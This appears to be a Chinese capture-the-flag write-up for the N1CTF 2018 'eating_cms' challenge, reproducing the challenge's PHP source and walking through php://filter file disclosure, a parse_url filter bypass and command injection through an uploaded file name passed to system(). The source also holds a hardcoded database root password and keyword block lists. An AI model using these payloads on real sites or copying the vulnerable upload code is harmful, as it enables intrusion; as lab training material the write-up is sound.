• [N1CTF 2018]eating_cms


    目录

    前言:

    解题:

    总结:


    前言:

    仅记录我的知识收集。

    解题:

    进入环境,可以看到一个登录框。

     尝试用 弱口令登录。

    提示有waf ,那就先不尝试SQL注入了,访问register.php 可以注册个账号。这个是扫出来的。

     登录后 来到这个页面,看到url ,应该是有任意文件读取,或者任意文件下载的

     

     利用php伪协议读取一下 user.php , login.php ,register.php 等文件。

    user.php?page=php://filter/read/convert.base64-encode/resource=user

    这里 没 + .php后缀是因为源码源码帮我们自动加了。

    user .php

    1. require_once("function.php");
    2. if( !isset( $_SESSION['user'] )){
    3. Header("Location: index.php");
    4. }
    5. if($_SESSION['isadmin'] === '1'){
    6. $oper_you_can_do = $OPERATE_admin;
    7. }else{
    8. $oper_you_can_do = $OPERATE;
    9. }
    10. //die($_SESSION['isadmin']);
    11. if($_SESSION['isadmin'] === '1'){
    12. if(!isset($_GET['page']) || $_GET['page'] === ''){
    13. $page = 'info';
    14. }else {
    15. $page = $_GET['page'];
    16. }
    17. }
    18. else{
    19. if(!isset($_GET['page'])|| $_GET['page'] === ''){
    20. $page = 'guest';
    21. }else {
    22. $page = $_GET['page'];
    23. if($page === 'info')
    24. {
    25. // echo("");
    26. Header("Location: user.php?page=guest");
    27. }
    28. }
    29. }
    30. filter_directory();
    31. //if(!in_array($page,$oper_you_can_do)){
    32. // $page = 'info';
    33. //}
    34. include "$page.php";
    35. ?>

    index.php

    1. require_once "function.php";
    2. if(isset($_SESSION['login'] )){
    3. Header("Location: user.php?page=info");
    4. }
    5. else{
    6. include "templates/index.html";
    7. }
    8. ?>

    register

    1. require_once "function.php";
    2. if($_POST['action'] === 'register'){
    3. if (isset($_POST['username']) and isset($_POST['password'])){
    4. $user = $_POST['username'];
    5. $pass = $_POST['password'];
    6. $res = register($user,$pass);
    7. if($res){
    8. Header("Location: index.php");
    9. }else{
    10. $errmsg = "Username has been registered!";
    11. }
    12. }
    13. else{
    14. Header("Location: error_parameter.php");
    15. }
    16. }
    17. if (!$_SESSION['login']) {
    18. include "templates/register.html";
    19. } else {
    20. Header("Location : user.php?page=info");
    21. }
    22. ?>

     function.php

    1. session_start();
    2. require_once "config.php";
    3. function Hacker()
    4. {
    5. Header("Location: hacker.php");
    6. die();
    7. }
    8. function filter_directory()
    9. {
    10. $keywords = ["flag","manage","ffffllllaaaaggg"];
    11. $uri = parse_url($_SERVER["REQUEST_URI"]);
    12. parse_str($uri['query'], $query);
    13. // var_dump($query);
    14. // die();
    15. foreach($keywords as $token)
    16. {
    17. foreach($query as $k => $v)
    18. {
    19. if (stristr($k, $token))
    20. hacker();
    21. if (stristr($v, $token))
    22. hacker();
    23. }
    24. }
    25. }
    26. function filter_directory_guest()
    27. {
    28. $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    29. $uri = parse_url($_SERVER["REQUEST_URI"]);
    30. parse_str($uri['query'], $query);
    31. // var_dump($query);
    32. // die();
    33. foreach($keywords as $token)
    34. {
    35. foreach($query as $k => $v)
    36. {
    37. if (stristr($k, $token))
    38. hacker();
    39. if (stristr($v, $token))
    40. hacker();
    41. }
    42. }
    43. }
    44. function Filter($string)
    45. {
    46. global $mysqli;
    47. $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    48. $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    49. for ($i = 0; $i < strlen($string); $i++) {
    50. if (strpos("$whitelist", $string[$i]) === false) {
    51. Hacker();
    52. }
    53. }
    54. if (preg_match("/$blacklist/is", $string)) {
    55. Hacker();
    56. }
    57. if (is_string($string)) {
    58. return $mysqli->real_escape_string($string);
    59. } else {
    60. return "";
    61. }
    62. }
    63. function sql_query($sql_query)
    64. {
    65. global $mysqli;
    66. $res = $mysqli->query($sql_query);
    67. return $res;
    68. }
    69. function login($user, $pass)
    70. {
    71. $user = Filter($user);
    72. $pass = md5($pass);
    73. $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    74. echo $sql;
    75. $res = sql_query($sql);
    76. // var_dump($res);
    77. // die();
    78. if ($res->num_rows) {
    79. $data = $res->fetch_array();
    80. $_SESSION['user'] = $data[username_which_you_do_not_know];
    81. $_SESSION['login'] = 1;
    82. $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
    83. return true;
    84. } else {
    85. return false;
    86. }
    87. return;
    88. }
    89. function updateadmin($level,$user)
    90. {
    91. $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    92. echo $sql;
    93. $res = sql_query($sql);
    94. // var_dump($res);
    95. // die();
    96. // die($res);
    97. if ($res == 1) {
    98. return true;
    99. } else {
    100. return false;
    101. }
    102. return;
    103. }
    104. function register($user, $pass)
    105. {
    106. global $mysqli;
    107. $user = Filter($user);
    108. $pass = md5($pass);
    109. $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    110. $res = sql_query($sql);
    111. return $mysqli->insert_id;
    112. }
    113. function logout()
    114. {
    115. session_destroy();
    116. Header("Location: index.php");
    117. }
    118. ?>

    config.php

    1. error_reporting(E_ERROR | E_WARNING | E_PARSE);
    2. define(BASEDIR, "/var/www/html/");
    3. define(FLAG_SIG, 1);
    4. $OPERATE = array('userinfo','upload','search');
    5. $OPERATE_admin = array('userinfo','upload','search','manage');
    6. $DBHOST = "localhost";
    7. $DBUSER = "root";
    8. $DBPASS = "Nu1LCTF2018!@#qwe";
    9. //$DBPASS = "";
    10. $DBNAME = "N1CTF";
    11. $mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
    12. if(mysqli_connect_errno()){
    13. echo "no sql connection".mysqli_connect_error();
    14. $mysqli=null;
    15. die();
    16. }
    17. ?>

    看到 function.php里的

     parse_url解析漏洞 payload 读取 ffffllllaaaaggg 文件

    //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
    1. if (FLAG_SIG != 1){
    2. die("you can not visit it directly");
    3. }else {
    4. echo "you can find sth in m4aaannngggeee";
    5. }
    6. ?>

    再接着去看m4aaannngggeee

    1. if (FLAG_SIG != 1){
    2. die("you can not visit it directly");
    3. }
    4. include "templates/upload.html";
    5. ?>

    发现了templates/upload.html,进入该页面(payload:/templates/upload.html

    随便上传一个 PHP 文件,显示错误 

     显示了一个 upllloadddd.php

    再回去用php伪协议读取一下 upllloadddd.php 的源码。

    1. $allowtype = array("gif","png","jpg");
    2. $size = 10000000;
    3. $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
    4. $filename = $_FILES['file']['name'];
    5. if(is_uploaded_file($_FILES['file']['tmp_name'])){
    6. if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
    7. die("error:can not move");
    8. }
    9. }else{
    10. die("error:not an upload file!");
    11. }
    12. $newfile = $path.$filename;
    13. echo "file upload success
      "
      ;
    14. echo $filename;
    15. $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
    16. echo "";
    17. if($_FILES['file']['error']>0){
    18. unlink($newfile);
    19. die("Upload file error: ");
    20. }
    21. $ext = array_pop(explode(".",$_FILES['file']['name']));
    22. if(!in_array($ext,$allowtype)){
    23. unlink($newfile);
    24. }
    25. ?>

    看到这一行 有一个system 。而filename 可控,可以插入恶意代码 

    $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

    但是我们需要找到真正的上传页面,而真正的上传页面 再前面所给的m4aaannngggeee中,

    payload:/user.php?page=m4aaannngggeee

      /  被过滤了,用 分号隔开命令就好了

    总结:

    题不难就是有点绕 

    。。。

  • 相关阅读:
    Codeforces Round #830 (Div. 2) D1. Balance (Easy version)
    视觉检测系统可以检测太阳能电池片哪些方面的缺陷?
    物联网技术融合成为新趋势,LPWAN2.0泛在物联·ZETA生态大会在深圳召开
    CentOS 中启动 Jar 包
    【Java集合类面试十八】、ConcurrentHashMap是怎么分段分组的?
    2023-10-09 LeetCode每日一题(最小和分割)
    GO错误处理方式
    Docker镜像仓库搭建(本地镜像推到阿里云)
    虚幻引擎:RPC:远端调用
    中国绿色建材行业发展前景与投资战略规划深度研究报告2022-2028年
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126865896